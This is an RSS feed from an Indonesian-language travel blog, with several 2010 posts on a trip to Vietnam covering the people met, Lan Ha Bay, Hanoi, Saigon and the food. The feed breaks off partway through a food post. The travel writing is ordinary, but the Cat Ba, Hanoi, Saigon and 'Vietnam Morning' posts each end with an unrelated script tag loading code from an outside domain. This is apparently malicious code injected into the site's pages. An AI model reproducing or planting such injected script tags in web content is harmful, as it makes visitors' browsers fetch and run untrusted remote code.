<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>hermansaksono &#187; lemongrass</title>
	<atom:link href="http://hermansaksono.com/tag/lemongrass/feed" rel="self" type="application/rss+xml" />
	<link>http://hermansaksono.com</link>
	<description>Patternless thoughts, pointless wisdom</description>
	<lastBuildDate>Wed, 28 Jul 2010 03:15:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Vietnamese People We Met</title>
		<link>http://hermansaksono.com/2010/07/vietnamese-people.html</link>
		<comments>http://hermansaksono.com/2010/07/vietnamese-people.html#comments</comments>
		<pubDate>Tue, 27 Jul 2010 17:00:06 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1200</guid>
		<description><![CDATA[Berwisata adalah menemukan sesuatu yang baru. Di monumen atau perempatan jalan, Anda bisa menemukan langgam keindahan yang tidak pernah ada di rumah. Yang sering terlupakan adalah kebaruan-kebaruan itu disusun oleh orang-orang.]]></description>
			<content:encoded><![CDATA[<p>Berwisata adalah menemukan sesuatu yang baru. Di monumen atau perempatan jalan, Anda bisa menemukan langgam keindahan yang tidak pernah ada di rumah. Demikian juga ketika mencicipi makanan asing, yang enaknya berbeda, tetapi tetap lezat disantap. Yang sering terlupakan adalah kebaruan-kebaruan itu disusun oleh orang-orang yang tinggal di sana. Walaupun mungkin mereka tidak meninggalkan kesan bagi Anda, tetapi merekalah pembuat kesan yang Anda bawa pulang ke rumah.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/02.01.People.Ngoc-Minh-Hotel.jpg"><img class="size-medium wp-image-1201 alignnone" title="Ibu Pengelola Losmen Ngoc Minh" src="http://hermansaksono.com/wp-content/uploads/2010/07/02.01.People.Ngoc-Minh-Hotel-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p>Ibu pemilik losmen <a href="http://www.tripadvisor.com/Hotel_Review-g293925-d640252-Reviews-Ngoc_Minh_Hotel-Ho_Chi_Minh_City.html">Ngoc Minh</a> ini jarang terlihat diam. Selalu mengenakan rok dan sepatu hak tinggi, ia mondar-mandir dari satu sudut ke sudut losmen yang lain. Dia memang tidak sendirian. Penginapan empat lantai ini dikelola bersama suaminya dan tiga pembantu, tetapi satu-satunya saat ia terlihat duduk cuma waktu menerima telpon atau mengurusi reservasi.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/02.02.People.Doy_.jpg"><img class="alignnone size-medium wp-image-1204" title="Doy" src="http://hermansaksono.com/wp-content/uploads/2010/07/02.02.People.Doy_-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p>Doy menyetir sedan Toyota yang kami tumpangi menuju <a href="http://hermansaksono.com/2010/02/cat-ba.html">Cat Ba</a> selama tujuh jam, berhenti hanya ketika menyeberang dengan ferry. Pria satu anak ini nampaknya suka otomotif, ialah yang bercerita kelebihan-kelebihan Toyota yang membuatnya mengalahkan Honda di pasar Vietnam. Kami berusaha ngobrol: saya dan <a href="http://beradadisini.wordpress.com">Hanny</a> memakai Inglish, dan dia, Vinglish. Jurang dialek ini agak mempersulit kelenturan percakapan, tetapi salah paham selalu bisa berakhir dengan ketawa.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/07/02.03.People.Tour-Agent-Lady.jpg"><img class="alignnone size-medium wp-image-1205" title="Tour Agent Lady" src="http://hermansaksono.com/wp-content/uploads/2010/07/02.03.People.Tour-Agent-Lady-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p>Mbak pengelola My Ngoc Tours inilah yang menyiapkan tur tiga jam menelusuri gugusan pulau karst di teluk <a href="http://hermansaksono.com/2010/02/cat-ba.html">Lan Ha</a>. Tanpa tur singkat itu mungkin perjalanan kami untuk melihat Lan Ha akan gagal, karena waktu yang tersisa tidak cukup banyak. Jangan bayangkan ia agen travel yang persuasif-agresif, bisa dikatakan si Mbak justru sebaliknya. Gerakannya cukup dan tidak memotong pembicaraan. Berbisnis dengannya adalah tanpa keraguan.</p>
<p>Dan demikianlah penutup seri <a href="http://hermansaksono.com/tag/lemongrass">Vietnam</a> ini. Senang berkelana denganmu <a href="http://beradadisini.wordpress.com">Hanny</a>. <img src='http://hermansaksono.com/wp-content/uploads/smilies/yahoo_smiley.gif' alt='&#58;&#41;' class='wp-smiley' width='18' height='18' title='&#58;&#41;' /></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/07/vietnamese-people.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Dari Cat Ba ke Lan Ha Bay</title>
		<link>http://hermansaksono.com/2010/02/cat-ba.html</link>
		<comments>http://hermansaksono.com/2010/02/cat-ba.html#comments</comments>
		<pubDate>Tue, 09 Feb 2010 01:40:35 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1036</guid>
		<description><![CDATA[Pulau Cat Ba ditempuh melalui jalan darat yang panjang dan dua kali menyeberang laut memakai feri. Ketika Anda berangkat jam 1 siang dari Hanoi, maka Cat Ba menyambut kedatangan Anda sekitar pukul 8 malam. Di atas feri Anda bisa bergumul langsung dengan orang-orang desa Vietnam, sementara jika langit sudah gelap dan kita cukup beruntung maka [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.06.Lan_Ha_Bay-Picking_Corals.jpg"><img class="aligncenter size-medium wp-image-1046" title="07.06.Lan_Ha_Bay-Picking_Corals" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.06.Lan_Ha_Bay-Picking_Corals-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p>Pulau Cat Ba ditempuh melalui jalan darat yang panjang dan dua kali menyeberang laut memakai feri. Ketika Anda berangkat jam 1 siang dari <a href="http://hermansaksono.com/2010/02/muda-di-hanoi.html">Hanoi</a>, maka Cat Ba menyambut kedatangan Anda sekitar pukul 8 malam. Di atas feri Anda bisa bergumul langsung dengan orang-orang desa Vietnam, sementara jika langit sudah gelap dan kita cukup beruntung maka sesekali plankton-plankton yang memancarkan cahaya akan muncul sejenak di permukaan laut untuk kemudian hilang lagi.</p>
<p>Resor Cat Ba sudah hening pada pukul 8 malam. Masih ada kehidupan turisme di mana-mana, tapi mereka tidak menimbulkan suara dan kebisingan. Keheningan Cat Ba yang merata sungguhlah menyenangkan, apalagi di pagi hari.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Cat_Ba-Panorama.jpg"><img class="aligncenter size-medium wp-image-1041" title="Cat Ba Morning" src="http://hermansaksono.com/wp-content/uploads/2010/02/Cat_Ba-Panorama-439x106.jpg" alt="Cat_Ba-Panorama" width="439" height="106" /></a></p>
<p>Daya tarik utama pulau ini adalah gugusan bukit-bukit karst di Ha Long Bay. Menelusuri teluk ini memerlukan waktu setidaknya 6 jam. Karena kami hanya punya 3 jam, maka mbak-mbak dari My Ngoc Tours menyarankan menyewa kapal sendiri menelusuri Lan Ha Bay, lalu mendarat sejenak di Pulau Monyet yang berpasir putih.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.01.Lan_Ha_Bay.jpg"><img class="aligncenter size-medium wp-image-1042" title="Lan Ha Bay" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.01.Lan_Ha_Bay-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p>Saya bisa mencoba menceritakan keagungan Lan Ha Bay, tapi saya yakin akan gagal. Bentukan batu-batu tinggi bertabir kabut dan suara kapal mengiris lautan sedingin giok terlalu luas untuk dijejalkan dalam kata-kata.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.02.Lan_Ha_Bay.jpg"><img class="aligncenter size-medium wp-image-1043" title="07.02.Lan_Ha_Bay" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.02.Lan_Ha_Bay-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.02.Lan_Ha_Bay.jpg"></a><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.03.Lan_Ha_Bay.jpg"><img class="aligncenter size-medium wp-image-1044" title="07.03.Lan_Ha_Bay" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.03.Lan_Ha_Bay-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.04.Lan_Ha_Bay.jpg"><img class="aligncenter size-medium wp-image-1045" title="07.04.Lan_Ha_Bay" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.04.Lan_Ha_Bay-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/07.05.Lan_Ha_Bay-Washing_Hands.jpg"><img class="aligncenter size-medium wp-image-1047" title="07.05.Lan_Ha_Bay-Washing_Hands" src="http://hermansaksono.com/wp-content/uploads/2010/02/07.05.Lan_Ha_Bay-Washing_Hands-440x330.jpg" alt="" width="440" height="330" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/cat-ba.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Perbedaan Hanoi</title>
		<link>http://hermansaksono.com/2010/02/muda-di-hanoi.html</link>
		<comments>http://hermansaksono.com/2010/02/muda-di-hanoi.html#comments</comments>
		<pubDate>Mon, 08 Feb 2010 01:39:20 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1048</guid>
		<description><![CDATA[Rumusnya sederhana saja sebetulnya. Orang Utara mendendam Selatan karena mau bersekutu dengan Amerika, sementara orang Selatan jengkel dengan orang Vietnam Utara karena mendatangkan komunisme. Tapi rumus ini sudah menemui uzurnya. Dua pertiga populasi negara agraris ini lahir setelah 1975, mereka tidak lagi memperdulikan konflik kakek neneknya. Generasi ini mengagumi barat dan sibuk menjalani hidup. Perhatikan [...]]]></description>
			<content:encoded><![CDATA[<p>Rumusnya sederhana saja sebetulnya. Orang Utara mendendam Selatan karena mau bersekutu dengan Amerika, sementara orang Selatan jengkel dengan orang Vietnam Utara karena mendatangkan komunisme. Tapi rumus ini sudah menemui uzurnya. Dua pertiga populasi negara agraris ini lahir setelah 1975, mereka tidak lagi memperdulikan konflik kakek neneknya. Generasi ini mengagumi barat dan sibuk menjalani hidup.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/08.02.Hanoi-Night-Hawker.jpg"><img class="aligncenter size-medium wp-image-1049" title="Hanoi-Night_Hawkers" src="http://hermansaksono.com/wp-content/uploads/2010/02/08.02.Hanoi-Night-Hawker-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p>Perhatikan jalan-jalan di Old Quarter Hanoi yang bergaya kolonial Perancis. Pada malam minggu, anak-anak muda menambah sesaknya jalan-jalan kecil kota tua itu. Cowok dan cewek berjalan-jalan gembira mengenakan pakaian keren dan trendy gaya desainer Italia. Beberapa dari mereka makan enak di warung-warung kaki lima yang meniupkan aroma melaparkan.<span id="more-1048"></span></p>
<p style="text-align: left;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Teens.jpg"><img class="aligncenter size-medium wp-image-1050" title="Hanoi-Teens" src="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Teens-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p>Hanoi mirip dengan Bandung dan Jogja, karena di kota ini ada banyak universitas terkemuka. Menjelang tahun ajaran baru, calon mahasiswa dan orang tua mahasiswa akan tumpah ke kota ini untuk mengikuti semacam SPMB.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/08.04.Hanoi-Night-DOCO.jpg"><img class="aligncenter size-medium wp-image-1051" title="DOCO Donut atau JCO Donut?" src="http://hermansaksono.com/wp-content/uploads/2010/02/08.04.Hanoi-Night-DOCO-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p style="text-align: left;">Tepat di samping Old Quarter ada danau Hoan Kiem yang berarti “pedang yang dikembalikan”. Konon di sinilah Kaisar Le Loi mengembalikan pedang yang ia gunakan untuk mengusir penjajah dari negeri China kepada seekor kura-kura emas raksasa. Fragmen dari epos ini bisa ditonton di pertunjukan Wayang Air, atau lebih dikenal dengan Water Puppet Theatre yang lokasinya tepat disebelah utara danau ini.</p>
<p style="text-align: center;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/ljSut-MBNCo&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/ljSut-MBNCo&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align: left;">Sedikit kontras dengan Old Quarter yang penuh lampu-lampu kecil aneka warna dan toko-toko yang unik; danau Hoan Kiem lebih sepi. Ketika jam sudah menunjukkan pukul sepuluh malam yang tersisa adalah taman yang tenang dan dikelilingi pantulan-pantulan lampu motor. Bangku-bangku yang menghadap danau semua diisi oleh muda-mudi yang berpegangan tangan, bermesraan, dan—beberapa—berciuman.</p>
<p style="text-align: left;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Hoan_Kiem_Lake.jpg"><img class="aligncenter size-medium wp-image-1052" title="Hanoi-Hoan_Kiem_Lake" src="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Hoan_Kiem_Lake-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p style="text-align: left;">Tidak terlihat preman yang memalaki atau pedagang yang mengurangi romantisme malam. Paling hanya kakek-kakek yang jogging di malam hari.</p>
<p style="text-align: left;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Hoan_Kiem_Lake_Morning.jpg"><img class="aligncenter size-medium wp-image-1054" title="Hanoi-Hoan_Kiem_Lake_Morning" src="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Hoan_Kiem_Lake_Morning-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p style="text-align: left;">Akan tetapi pagi di Hanoi adalah sesuatu yang sedikit berbeda. Suasana tidak seperti malam hari yang hiruk pikuk, tapi penduduknya masih menyempatkan diri jajan di gang-gang kecil Old Quarter.</p>
<p style="text-align: left;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Morning_Streetfoods.jpg"><img class="aligncenter size-medium wp-image-1053" title="Hanoi-Morning_Streetfoods" src="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-Morning_Streetfoods-440x293.jpg" alt="" width="440" height="293" /></a></p>
<p style="text-align: left;">Karena harus segera kembali ke Jakarta, kami tidak sempat melihat-lihat semua toko-tokonya yang lucu, warung-warung yang baunya lezat, dan menelusuri semua trotoarnya satu persatu sambil berusaha memahami apa yang membuat mereka beda dengan <a href="http://hermansaksono.com/2010/02/nafas-komunis-di-saigon.html">Saigon</a>.</p>
<p style="text-align: center;"><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-People1.jpg"><img class="aligncenter size-medium wp-image-1057" title="Hanoi-People" src="http://hermansaksono.com/wp-content/uploads/2010/02/Hanoi-People1-440x330.jpg" alt="" width="440" height="330" /></a></p>
<p style="text-align: left;">
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/muda-di-hanoi.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Nafas Komunis di Saigon</title>
		<link>http://hermansaksono.com/2010/02/nafas-komunis-di-saigon.html</link>
		<comments>http://hermansaksono.com/2010/02/nafas-komunis-di-saigon.html#comments</comments>
		<pubDate>Fri, 05 Feb 2010 02:04:51 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1031</guid>
		<description><![CDATA[Lalu lintas di Saigon benar-benar gila. Lampu merah kehilangan derajatnya ketika motor dan motor tampak bergerak semaunya sendiri. Menyeberang jalan adalah neraka bagi turis-turis bule, walaupun bagi orang Indonesia ini hanya sedikit tidak beradab. Dan di jalan-jalan utama mereka, bendera-bendera merah dengan gambar palu arit itu berjajar tegak merayakan 80 tahun Vietnam. Di salah satu [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon.01.Communist.jpg"><img class="aligncenter size-medium wp-image-1032" title="Communism" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon.01.Communist-375x500.jpg" alt="Bendera komunis di jalan" width="375" height="500" /></a></p>
<p>Lalu lintas di Saigon benar-benar gila. Lampu merah kehilangan derajatnya ketika motor dan motor tampak bergerak semaunya sendiri. Menyeberang jalan adalah neraka bagi turis-turis bule, walaupun bagi orang Indonesia ini hanya sedikit tidak beradab. Dan di jalan-jalan utama mereka, bendera-bendera merah dengan gambar palu arit itu berjajar tegak merayakan 80 tahun Vietnam.</p>
<p><span id="more-1031"></span>Di salah satu jalan itu, tepat di samping patung Jendral Tran Nguyen Han, berdirilah pasar Behn Thanh yang menjual segalanya: buah-buahan, ikan, beras, kopi, cindera mata, pakaian, pho, banh mi. Bagi pelancong Indonesia, lapak oleh-oleh yang bisa ditawar adalah daya tarik utamanya.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Benh_Thanh_Market.jpg"><img class="aligncenter size-medium wp-image-1033" title="Memotret dagangan di pasar Behn Thanh" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Benh_Thanh_Market-375x500.jpg" alt="Benh Thanh Market" width="375" height="500" /></a></p>
<p>Memperhatikan sudut-sudut Saigon terasa benar kalau ruh komunisme sudah lenyap di sini. Di antara patung raksasa Ho Chi Minh sang bapak bangsa penganut komunisme itu berdiri hotel Rex berbintang lima, department store Tax, opera house, menara Sheraton, dan gerai Louis Vuitton. Ngerinya kudeta berdarah Presiden Ngo Dinh Diem di istana Guang Long 47 tahun silam, kini hanya tersisa menjadi bangunan museum untuk prewedding.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Museum.jpg"><img class="aligncenter size-medium wp-image-1034" title="Prewedding di Museum Ho Chi Minh" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Museum-439x293.jpg" alt="" width="439" height="293" /></a></p>
<p>Tanda-tanda represi terhadap agama juga tidak kasat mata. Katedral Notre Dame bikinan Perancis masih menaungi kekhusukan di dalamnya, sementara umat-umat yang sembahyang membawa dupa terus datang dan pergi di Pagoda Ratu Giok.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Chatedral_and_Pagoda.jpg"><img class="aligncenter size-medium wp-image-1035" title="Katedral Notre Dame Saigon dan Pagoda Jade Queen" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Chatedral_and_Pagoda-440x293.jpg" alt="" width="440" height="293" /></a></p>
<p>Vietnam nampak (sedang?) melupakan kegetiran masa lalunya. Penduduknya merayakan hari-hari mereka dengan mencari nafkah. Dan pariwisata termasuk bisnis yang menggiurkan. Tempat makan siang kami, Quan An, dijejali turis-turis asing yang mengantri tempat duduk.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Lunch.jpg"><img class="aligncenter size-full wp-image-1037" title="Saigon-Lunch" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Lunch.jpg" alt="" width="400" height="300" /></a></p>
<p>Di sini saya mencoba pho dengan mi dari daging cumi, tapi sayang rasanya kurang fantastis. Sementara sekantong ceri yang dibeli di pinggir jalan membikin mules sehingga saya tidak bisa menikmati Istana Pemersatuan Vietnam.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Reunification_Palace.jpg"><img class="aligncenter size-medium wp-image-1038" title="Reunification Palace" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Reunification_Palace-440x98.jpg" alt="" width="440" height="98" /></a></p>
<p>Ketika waktu sudah menyentuh pukul lima sore, ribuan sepeda motor mengalir memenuhi jalan-jalan kota Ho Chi Minh dan merayapinya seperti semut. Seperti mengenal maghrib, motor-motor itu berkurang sedikit ketika matahari tenggelam dan lampu-lampu menyala satu per satu.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/QOvOIy-IVmw&#038;hl=en_US&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/QOvOIy-IVmw&#038;hl=en_US&#038;fs=1&#038;color1=0x3a3a3a&#038;color2=0x999999" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>Lampu-lampu itu agak lebih meriah ketika mendekati tahun baru Imlek. Pohon-pohon tinggi di jantung kota dirias dengan lampu-lampu kecil dan ornamen bunga dipasang melintang di atas jalan. Sebelum menonton Saigon dari lantai 23 Sheraton, untuk terakhir kalinya kami duduk di bawah opera house dan memperhatikan keramaian kota yang terang dan hidup ini. Sudah tidak ada lagi komunisme ataupun trauma perang.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Louis_Vuitton.jpg"><img class="aligncenter size-medium wp-image-1039" title="Di bawah Opera House menghadap Louis Vuitton" src="http://hermansaksono.com/wp-content/uploads/2010/02/Saigon-Louis_Vuitton-440x234.jpg" alt="" width="440" height="234" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/nafas-komunis-di-saigon.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Vietnam Morning</title>
		<link>http://hermansaksono.com/2010/02/vietnam-morning.html</link>
		<comments>http://hermansaksono.com/2010/02/vietnam-morning.html#comments</comments>
		<pubDate>Thu, 04 Feb 2010 00:23:32 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1022</guid>
		<description><![CDATA[Tiap kota memiliki pagi yang berbeda-beda. Gaya mereka menggambarkan siang yang mengikutinya, dan malam yang menutupnya.]]></description>
			<content:encoded><![CDATA[<h2 style="text-align: center;">Saigon</h2>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Saigon.jpg"><img class="aligncenter size-medium wp-image-1027" title="Saigon Morning" src="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Saigon-375x500.jpg" alt="" width="375" height="500" /></a></p>
<p>Derau mesin-mesin motor tidak membuat Saigon pagi kehilangan denyut-denyut yang membuatnya hidup. Di taman kota, balita, remaja, dan orang tua berolahraga sambil menghirup udara pagi yang tidak berasa asap knalpot. Mereka dikelilingi jajaran gedung-gedung yang dicat pastel untuk menyembunyikan garis-garis kakunya, sementara jajaran pohon-pohon yang tinggi melengkapi garis-garis itu.</p>
<p><span id="more-1022"></span><br />
<h2 style="text-align: center;">Cat Ba</h2>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Lan_Ha_Bay.jpg"><img class="aligncenter size-medium wp-image-1028" title="Lan Ha Bay Morning" src="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Lan_Ha_Bay-374x500.jpg" alt="" width="374" height="500" /></a></p>
<p>Di pagi hari para pelaut pulau Cat Ba berlayar melewati lautan warna giok menuju gugusan bukit-bukit karst di Ha Long Bay. Kapal-kapal mereka membelah udara sejuk yang semula diam, menyingkap satu-demi-satu tirai kabut yang dingin.</p>
<h2 style="text-align: center;">Hanoi</h2>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Hanoi_1.jpg"><img class="aligncenter size-medium wp-image-1030" title="Morning at Tho Xuong lane" src="http://hermansaksono.com/wp-content/uploads/2010/02/Morning.Hanoi_1-374x500.jpg" alt="Hanoi " width="374" height="500" /></a></p>
<p>Hanoi terdiri dari bangunan-bangunan sedikit menceng yang bercatkan semua warna pastel yang pernah ada. Waktu bergerak sedikit lambat di Hanoi, penduduknya menikmati pagi dengan sarapan di gang-gang kecil, duduk menghadap danau di tengah kota, atau berkendara motor agak lebih pelan.</p>
<p>Berikutnya adalah Ho Chi Minh City, alias <a href="http://hermansaksono.com/2010/02/nafas-komunis-di-saigon.html">Saigon</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://hermansaksono.com/2010/02/vietnam-morning.html/feed</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Makanan Vietnam</title>
		<link>http://hermansaksono.com/2010/02/vietnamese-foods.html</link>
		<comments>http://hermansaksono.com/2010/02/vietnamese-foods.html#comments</comments>
		<pubDate>Wed, 03 Feb 2010 01:44:43 +0000</pubDate>
		<dc:creator>Herman</dc:creator>
				<category><![CDATA[Pictures]]></category>
		<category><![CDATA[lemongrass]]></category>
		<category><![CDATA[photolog]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://hermansaksono.com/?p=1015</guid>
		<description><![CDATA[Makanan bercerita banyak soal manusia dan budaya yang membungkusnya. Dari makanan akan kelihatan budaya bertani mereka dari sayuran yang digunakan, budaya berternak atau bernelayan dari lauknya, dan cara menikmati makanan lewat aroma bumbu-bumbunya. Pho Bo Setelah terdampar di Saigon dan panik kehilangan simcard Halo, kami mencicipi pho di perempatan jalan Pham Ngu Lau dan Cong [...]]]></description>
			<content:encoded><![CDATA[<p>Makanan bercerita banyak soal manusia dan budaya yang membungkusnya. Dari makanan akan kelihatan budaya bertani mereka dari sayuran yang digunakan, budaya berternak atau bernelayan dari lauknya, dan cara menikmati makanan lewat aroma bumbu-bumbunya.</p>
<h2>Pho Bo</h2>
<p>Setelah terdampar di Saigon dan panik kehilangan simcard Halo, kami mencicipi pho di perempatan jalan Pham Ngu Lau dan Cong Quynh. Ini memang pho terenak yang pernah saya cicipi, karena pho-pho berikutnya rasanya meleset jauh. Pho di warung Pho Quynh ini sempurna: kuahnya wangi, dagingnya empuk, dan mie berasnya yang licin enak banget diseruput panas-panas. Apalagi kalau ditemani kopi pahit Vietnam.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.01.Foods_.Pho-Bo-Bo-Kho.jpg"><img class="aligncenter size-medium wp-image-1016" title="Noodle Soup" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.01.Foods_.Pho-Bo-Bo-Kho-440x330.jpg" alt="Pho Bo" width="440" height="330" /></a><br />
<span id="more-1015"></span></p>
<h2>Banh Mi</h2>
<p>Sebagai mantan koloni Perancis, roti baget lumrah menjadi menu sarapan di jalan-jalan Saigon. Tentu saja karena di Vietnam, maka bagetpun memakai tepung beras. Banh Mi ini kami beli di trotoar jalan Pham Ngu Lau, dan bisa dibilang seperti Vietnam dalam sepotong roti karena isinya memuat segala hal yang khas sana: daging asap vietnam, cilantro, ketumbar, serai, sayuran segar, dan kecap ikan.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.02.Foods_.Banh-Mi.jpg"><img class="aligncenter size-medium wp-image-1018" title="Sandwhich Vietnam" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.02.Foods_.Banh-Mi-440x330.jpg" alt="Banh Mi" width="440" height="330" /></a></p>
<h2>Banh Cuon</h2>
<p>Setelah capek buanget jalan-jalan menelusuri hiruk-pikuk Saigon, kami mencicipi Banh Cuon otentik di resto Huang Lai. Kulitnya yang nyaris transparan itu dibuat dengan tepung beras, dan diisi suun, udang rebus, daun ketumbar yang wangi, dan serai segar.</p>
<p><a href="http://hermansaksono.com/wp-content/uploads/2010/02/01.03.Foods_.Lumpia.jpg"><img class="aligncenter size-medium wp-image-1017" title="Lumpia Basah Vietnam" src="http://hermansaksono.com/wp-content/uploads/2010/02/01.03.Foods_.Lumpia-440x330.jpg" alt="Banh Chuon" width="440" height="330" /></a></p>
<p>Beras nampak menjadi bagian penting bangsa Vietnam. Ini terlihat dari mie tepung beras, roti tepung beras, bahkan kulit lumpia tepung beras. Menariknya, mereka tidak terjebak dalam penyajian beras yang ditanak untuk mencari kenyang.</p>
<h2 id="page-heading">Đồ Nướng Trung Ho</h2>
